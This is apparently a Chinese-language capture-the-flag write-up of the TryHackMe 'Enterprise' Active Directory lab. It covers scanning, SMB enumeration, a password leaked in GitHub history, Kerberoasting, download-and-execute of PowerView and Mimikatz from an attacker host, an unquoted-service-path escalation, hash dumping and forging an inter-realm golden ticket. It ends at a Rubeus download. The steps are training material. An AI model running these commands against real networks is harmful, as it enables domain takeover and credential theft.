服务探测
端口探测
root@ip-10-10-208-107:~# nmap -p- 10.10.59.205 --open
Starting Nmap 7.60 (https://nmap.org) at 2022-03-04 02:48 GMT
Nmap scan report for ip-10-10-248-133.eu-west-1.compute.internal (10.10.59.205)
Host is up (0.0039s latency).
Not shown: 61918 closed ports, 3588 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
5985/tcp open wsman
7990/tcp open unknown
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49673/tcp open unknown
服务探测
root@ip-10-10-208-107:~# nmap -sV -Pn 10.10.59.205 -p 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5357,5985,7990,9389,47001,49664-49673
Starting Nmap 7.60 (https://nmap.org) at 2022-03-04 02:57 GMT
Nmap scan report for ip-10-10-248-133.eu-west-1.compute.internal (10.10.59.205)
Host is up (0.00075s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-04 02:57:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7990/tcp open http Microsoft IIS httpd 10.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp closed unknown
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp closed unknown
49673/tcp open msrpc Microsoft Windows RPC
MAC Address: 02:CC:01:6E:8F:D9 (Unknown)
Service Info: Host: LAB-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.08 seconds
smb
枚举分项目录
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# crackmapexec smb 10.10.59.205 -u ''-p'' --shares
SMB 10.10.59.205 445 LAB-DC [*] Windows 10.0 Build 17763 x64 (name:LAB-DC) (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:False)
SMB 10.10.59.205 445 LAB-DC [-] LAB.ENTERPRISE.THM\: STATUS_ACCESS_DENIED
SMB 10.10.59.205 445 LAB-DC [-] Error enumerating shares: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
不容许匿名登录，然而失去了
域的名称：LAB.ENTERPRISE.THM
DC 服务器的名字：LAB-DC
用 smbclient 再次枚举，这次呈现了分享的目录
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# smbclient --no-pass -L //10.10.59.205
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Docs Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk Users Share. Do Not Touch!
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.59.205 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Users
能够登录
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# smbclient --no-pass //10.10.59.205/Users
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Thu Mar 11 21:11:49 2021
.. DR 0 Thu Mar 11 21:11:49 2021
Administrator D 0 Thu Mar 11 16:55:48 2021
All Users DHSrn 0 Sat Sep 15 03:28:48 2018
atlbitbucket D 0 Thu Mar 11 17:53:06 2021
bitbucket D 0 Thu Mar 11 21:11:51 2021
Default DHR 0 Thu Mar 11 19:18:03 2021
Default User DHSrn 0 Sat Sep 15 03:28:48 2018
desktop.ini AHS 174 Sat Sep 15 03:16:48 2018
LAB-ADMIN D 0 Thu Mar 11 19:28:14 2021
Public DR 0 Thu Mar 11 16:27:02 2021
15587583 blocks of size 4096. 9920786 blocks available
整顿一个 user list
Administrator
atlbitbucket
bitbucket
LAB-ADMIN尝试枚举下面用户是否敞开了 kerberos 预认证
找到一个用户凭据文件
smb: \LAB-ADMIN\AppData\Local\Microsoft\Credentials\> ls
. DSn 0 Thu Mar 11 19:28:46 2021
.. DSn 0 Thu Mar 11 19:28:46 2021
DFBE70A7E5CC19A398EBF1B96859CE5D AHSn 11152 Thu Mar 11 18:09:04 2021
15587583 blocks of size 4096. 9919566 blocks available这个查了一下是 RDP 登录凭证，然而查了一下如同没有方法破解
Docs
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# smbclient --no-pass //10.10.59.205/Docs
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Mar 14 22:47:35 2021
.. D 0 Sun Mar 14 22:47:35 2021
RSA-Secured-Credentials.xlsx A 15360 Sun Mar 14 22:46:54 2021
RSA-Secured-Document-PII.docx A 18432 Sun Mar 14 22:45:24 2021
有两个 office 文件，然而收到了密码保护，应用这个 office2john.py 转成能够被 john 辨认的哈希值，应用 john 破解，然而没有任何后果
http
80 端口没有任何有用的货色
7990 也是一个 http 端口，看上去跑了一个叫 ATLASSIAN 的 web app，但其实只是一个动态页面
登录框写了一行字：
Reminder to all Enterprise-THM Employees:We are moving to Github!
在谷歌上搜寻 enterprise-thm github 找到了这个 github 页面
只有一个 About-US 的 project
维护者是一个叫 Nik-enterprise-dev 的人，点进个人主页，还保护了一个 powershell 我的项目
只有一个脚本
Import-Module ActiveDirectory
$userName = ''$userPassword =''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) {Invoke-Command -ComputerName $index {systeminfo} }用户名和明码都为空
点击这个脚本的 history 页面，找到最后版本，记录了用户名和明码
Import-Module ActiveDirectory
$userName = 'nik'
$userPassword = 'ToastyBoi!'
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) {Invoke-Command -ComputerName $index {systeminfo} }当初有了一个用户凭据
nik:ToastyBoi!find SPN
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.59.205 lab.enterprise.thm/nik:ToastyBoi! -request -outputfile hash.txt 130 ⨯
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- --------- ----------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/LAB-DC bitbucket CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM 2021-03-11 20:20:01.333272 2021-04-26 11:16:41.570158 失去一个用户的 SPN, 用 john 破解
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# cat hash.txt
$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$lab.enterprise.thm/bitbucket*$d286d86f986ebc5ed08752398bfa566a$878cf038efff7b158da57d8e041a07b03e4194ac25e7348658120d4bb26b762213465f35bb7b065aa5bbb321607d8d32a7044473170be71cddeb9df93a404ec3e45ac782c3f603a64b47d890deec82e96e2f20c15f3a55c5017ccb80544f41af572083863551d85a7d24c08700914cd170294f7c295b5312fa5e9ded3605705fe55d8acc0937f7268e4fef90254823400931c454833bc2acf4d319f67f336fb4984aeb6a51543336bb5fc68c43a7546b93b44abc518878b34b476545935a82630e5ded8cd7b201aff3da2f2e9015a5b679d6a39a0a419883169dd9b943ed9452c287b7778f7e367ffaa153e6238cf3b964a3842c7a82037cd0805c7b0df82e354588bfc8f256a02a91d70c03b58a564fbb04577b45670d7e5ec3b919244bc71df6afb7aa4ac7471f59e1c6e572dc28fb0fc142dd9d5b60e132e2c1820282b2c70e189af31484705d427bacfc89080a7738c6018a594eb9ac34140d0a8bdd625a5edf25caf543880203ec1779543ca06911a8375339b50ee3438126d894b1a7c15fa5d772bc2dcec1134399ccbfe98f07ea62ebd1d3970524b07be6d8f2bebb9be1470f2472bfe57656622b2767a045dbfe575a90bb25546ebd34e000d2175d107a0421c9a8a1968bee1c3736b3d35100f3edab7ecc4efb1b2ae185832d97e7c02b54a9e61c05875c72a2a21f0f94fef0a0ad35f7e77b2134605a56df3613061f4f3f25a43e3c185a861d1af30d2e4451cfe7fcc15a6aafb963160d941e286366f695f44cab437e83b85bbe06f0601fdd3fc686108b14bb33b91f1fb0ad9fb88e460ef7cfe59f729b18f84226977f58f8fa35eb6f66ce9dda6188b64e23f27f73a206b8640b46132bc73b1efb47c8bf9788010f26c2a9f70581488896a729c814763e7d69bfdcb26675da14c9dc27b99ea412cb07d6030d0d6b2fa57fa71aa8d6530c98741dd16722ee29e77e3f5635db125ee79df40d3df607bc6fc2217cfe6e08c4c6e545c3597f526f9efd1aecf4869cab95eb61c3c627edefb0c8661d081d2b704502f7d6ca8ab4c8df6134accaef9e8e8a3d5eeb54e3054e54eca1991db472ff9e4371301c8a59cff106c343d064d789d409b7f69ce96b8e8091c323ed9edd09beda75555d866b71a6e10d7eef8406ea47aaa77b040f06ad9e688deef6942e2076e285b02ce67104d816f9dfe323b348d97d2790ac12545e7b5fc4a92ba7da5fcab00e47146111bd0cff0c925f33674ffbf972522d295b08ec1eb07c206590634bcfa000d32d4b63296e864606282307059645816bd50c5d12d5c63e671f062f84b5e7c6efacef5d940f75cc9a149801ffe5f49f068f8d62eebabcd2cb1a604b72
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littleredbucket (?)
1g 0:00:00:01 DONE (2022-03-04 00:56) 0.8620g/s 1354Kp/s 1354Kc/s 1354KC/s livelife93..liss27
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
账号：bitbucket
明码：littleredbucket
应用上面命令 rdp 连贯靶机
xfreerdp /f /u:bitbucket /p:littleredbucket /v:10.10.59.205 /size:1280x1030桌面找到用户 flag
本地权限晋升
在 kali 起一个繁难 http 服务器，通过 http 把枚举和提权工具传到靶机
iex (iwr http://10.11.63.196/PowerView.ps1 -UseBasicParsing)
iex (iwr http://10.11.63.196/SharpHound.ps1 -UseBasicParsing)
iex (iwr http://10.11.63.196/Invoke-Mimikatz.ps1 -UseBasicParsing)
iex (iwr http://10.11.63.196/PowerUp.ps1 -UseBasicParsing)枚举所有域用户
PS C:\Users\bitbucket> get-netuser|select cn
cn
--
Administrator
Guest
atlbitbucket
krbtgt
BitBucker
nik
REPLICATION
spooks
Korone
Banana
Cake
Contractor
Varg
Joiner枚举所有 DA 用户
PS C:\Users\bitbucket\Desktop> Get-NetGroupMember -GroupName "Domain Admins" -Recurse |select MemberName
MemberName
----------
joiner
Cake
korone
Administrator应用 SharpHound 手机域信息
Invoke-BloodHound -CollectionMethod All -verbose如何把文件从靶机传回 kali，这里应用 smb，因为咱们有了 bitbucket 的登录凭证，能够放到 users 的 bitbucket 下，而后应用 smb 下载
应用 PowerUp，发现存在一个 unquoted service paths 的服务
[*] Checking for unquoted service paths...
ServiceName : zerotieroneservice
Path : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'zerotieroneservice' -Path <HijackPath>
CanRestart : True
ServiceName : zerotieroneservice
Path : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'zerotieroneservice' -Path <HijackPath>
CanRestart : True通过简略测试，发现能够在 C:\Program Files (x86)\Zero Tier\ 写入文件，并且对这个服务有重启的权限
用 Write-ServiceBinary 办法，写一个 Zero.exe
PS C:\Program Files (x86)\Zero Tier> Write-ServiceBinary -Name 'zerotieroneservice' -Path 'C:\Program Files (x86)\Zero Tier\Zero.exe'
ServiceName Path Command
----------- ---- -------
zerotieroneservice C:\Program Files (x86)\Zero Tier\Zero.exe net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add这一步次要是创立了一个叫 john 的用户，明码是Password123!，并且把 john 退出到本地管理员组
已存在在目标目录
PS C:\Program Files (x86)\Zero Tier> ls
Directory: C:\Program Files (x86)\Zero Tier
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/14/2021 6:08 PM Zero Tier One
-a---- 3/4/2022 12:58 AM 6 1.txt
-a---- 3/4/2022 1:01 AM 22016 Zero.exe重启服务
PS C:\Program Files (x86)\Zero Tier> sc.exe stop zerotieroneservice
[SC] ControlService FAILED 1062:
The service has not been started.
PS C:\Program Files (x86)\Zero Tier> sc.exe start zerotieroneservice
SERVICE_NAME: zerotieroneservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 5348
FLAGS :当初，在桌面已管理员权限开启一个 shell，输出用户凭据：john:Password123!
胜利开启一个管理员权限的 shell
PS C:\Windows\system32> whoami /all
USER INFORMATION
----------------
User Name SID
=================== ============================================
lab-enterprise\john S-1-5-21-2168718921-3906202695-65158103-1120
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
能够看到曾经存在在 BUILTIN\Administrators 用户组
拿到 root.txt
PS C:\users\Administrator\Desktop> type .\root.txt
THM{1a1fa948754212963...}跨域（没有胜利）
枚举所有信赖关系
PS C:\users\bitbucket\Desktop> Get-NetForestDomain -Verbose | Get-NetDomainTrust
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
LAB.ENTERPRISE.THM ENTERPRISE.THM ParentChild Bidirectional
LAB.ENTERPRISE.THM morimori.com Kerberos Outbound发现跟父域是双向信赖的
应用 Mimikatz 导出所有 NTML 哈希
PS C:\users\Administrator\Desktop> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
.#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX (vincent.letoux@gmail.com)
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # lsadump::lsa /patch
Domain : LAB-ENTERPRISE / S-1-5-21-2168718921-3906202695-65158103
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 8537943ee84c50d9d4035c519ce2cb68
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 43c1c941c7f0eb3a74d8864ab7dfa212
<skip>以 Administrator 身份开启一个 shell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:LAB.ENTERPRISE.THM /ntlm:8537943ee84c50d9d4035c519ce2cb68 /run:powershell.exe"'枚举 DC 服务器的所有信赖关系
PS C:\Windows\system32> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName LAB-DC.LAB.ENTERPRISE.THM
.#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX (vincent.letoux@gmail.com)
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # lsadump::trust /patch
Current domain: LAB.ENTERPRISE.THM (LAB-ENTERPRISE / S-1-5-21-2168718921-3906202695-65158103)
Domain: ENTERPRISE.THM (ENTERPRISE / S-1-5-21-1835041512-953509921-1126143443)
[In] LAB.ENTERPRISE.THM -> ENTERPRISE.THM
* 3/11/2021 4:30:39 PM - CLEAR - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
* aes256_hmac eb0a1f52c2e7f30dbcf02a1737e2527da685a36d511e6b96da5d3517ba91a73c
* aes128_hmac 7eed741499c0611a0275bfd2d83b0de1
* rc4_hmac_nt d84d2d46e70ebdcd94ec6f3c79f5731f
[Out] ENTERPRISE.THM -> LAB.ENTERPRISE.THM
* 3/11/2021 4:30:39 PM - CLEAR - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
* aes256_hmac 643128314165f87c41041f07c13490fc0d96189f45c2eb3efcaa956707dd5a5e
* aes128_hmac 3872b51d2e6716a863060cf1c00e4980
* rc4_hmac_nt d84d2d46e70ebdcd94ec6f3c79f5731f
[In-1] LAB.ENTERPRISE.THM -> ENTERPRISE.THM
* 3/11/2021 4:30:39 PM - CLEAR - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
* aes256_hmac eb0a1f52c2e7f30dbcf02a1737e2527da685a36d511e6b96da5d3517ba91a73c
* aes128_hmac 7eed741499c0611a0275bfd2d83b0de1
* rc4_hmac_nt d84d2d46e70ebdcd94ec6f3c79f5731f
[Out-1] ENTERPRISE.THM -> LAB.ENTERPRISE.THM
* 3/11/2021 4:30:39 PM - CLEAR - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
* aes256_hmac 643128314165f87c41041f07c13490fc0d96189f45c2eb3efcaa956707dd5a5e
* aes128_hmac 3872b51d2e6716a863060cf1c00e4980
* rc4_hmac_nt d84d2d46e70ebdcd94ec6f3c79f5731f
Domain: MORIMORI.COM (morimori.comERROR kull_m_string_displaySID ; ConvertSidToStringSid (0x00000057)
)
[In] LAB.ENTERPRISE.THM -> MORIMORI.COM
[Out] MORIMORI.COM -> LAB.ENTERPRISE.THM
* 3/11/2021 7:30:30 PM - CLEAR - 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00
* aes256_hmac a80d035b0775088e8ec1836d43f8b32f4cafca1f31f7c46f1615651dd140f382
* aes128_hmac 10aac1e975ebdd4edb90692ebb2db502
* rc4_hmac_nt a4f49c406510bdcab6824ee7c30fd852
[In-1] LAB.ENTERPRISE.THM -> MORIMORI.COM
[Out-1] MORIMORI.COM -> LAB.ENTERPRISE.THM
* 3/11/2021 7:30:30 PM - CLEAR - 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00
* aes256_hmac a80d035b0775088e8ec1836d43f8b32f4cafca1f31f7c46f1615651dd140f382
* aes128_hmac 10aac1e975ebdd4edb90692ebb2db502
* rc4_hmac_nt a4f49c406510bdcab6824ee7c30fd852伪造一条到父域 ENTERPRISE.THM 的 TGT
从下面信息咱们得悉，父域的 SID 是：S-1-5-21-1835041512-953509921-1126143443
这里须要留神上面命令参数里的 rc4，必须是下面枚举进去的 * rc4_hmac_nt d84d2d46e70ebdcd94ec6f3c79f5731f 这个值
伪造 TGT
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:LAB.ENTERPRISE.THM /sid:S-1-5-21-2168718921-3906202695-65158103 /sids:S-1-5-21-1835041512-953509921-1126143443-519 /rc4:d84d2d46e70ebdcd94ec6f3c79f5731f /service:krbtgt /target:ENTERPRISE.THM /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi"'执行
PS C:\users\Administrator\Desktop> Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:LAB.ENTERPRISE.THM /sid:S-1-5-21-2168718921-3906202695-65158103 /sids:S-1-5-21-1835041512-953509921-1126143443-519 /rc4:d84d2d46e70ebdcd94ec6f3c79f5731f /service:krbtgt /target:ENTERPRISE.THM /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi"'
.#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX (vincent.letoux@gmail.com)
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # Kerberos::golden /user:Administrator /domain:LAB.ENTERPRISE.THM /sid:S-1-5-21-2168718921-3906202695-65158103 /sids:S-1-5-21-1835041512-953509921-1126143443-519 /rc4:d84d2d46e70ebdcd94ec6f3c79f5731f /service:krbtgt /target:ENTERPRISE.THM /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi
User : Administrator
Domain : LAB.ENTERPRISE.THM (LAB)
SID : S-1-5-21-2168718921-3906202695-65158103
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-1835041512-953509921-1126143443-519 ;
ServiceKey: d84d2d46e70ebdcd94ec6f3c79f5731f - rc4_hmac_nt
Service : krbtgt
Target : ENTERPRISE.THM
Lifetime : 3/4/2022 1:37:00 AM ; 3/1/2032 1:37:00 AM ; 3/1/2032 1:37:00 AM
-> Ticket : C:\users\bitbucket\Desktop\trust_tkt.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !查看以后林
PS C:\users\bitbucket\Desktop> Get-NetForest
RootDomainSid : S-1-5-21-1835041512-953509921-1126143443
Name : ENTERPRISE.THM
Sites : {Default-First-Site-Name}
Domains : {ENTERPRISE.THM, LAB.ENTERPRISE.THM}
GlobalCatalogs : {ENTERPRISE-DC.ENTERPRISE.THM, LAB-DC.LAB.ENTERPRISE.THM}
ApplicationPartitions : {DC=ForestDnsZones,DC=ENTERPRISE,DC=THM, DC=DomainDnsZones,DC=ENTERPRISE,DC=THM, DC=DomainDnsZones,DC=LAB,DC=ENTERPRISE,DC=THM}
ForestModeLevel : 7
ForestMode : Unknown
RootDomain : ENTERPRISE.THM
Schema : CN=Schema,CN=Configuration,DC=ENTERPRISE,DC=THM
SchemaRoleOwner : ENTERPRISE-DC.ENTERPRISE.THM
NamingRoleOwner : ENTERPRISE-DC.ENTERPRISE.THM能够看到父域的 DC 服务器是：ENTERPRISE-DC.ENTERPRISE.THM
传 Rubeus.exe 到本地
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.63.196/Rubeus.exe','C:\users\bitbucket\Desktop\Rubeus.exe')"应用 Rubeus 尝试生成一个 tgs
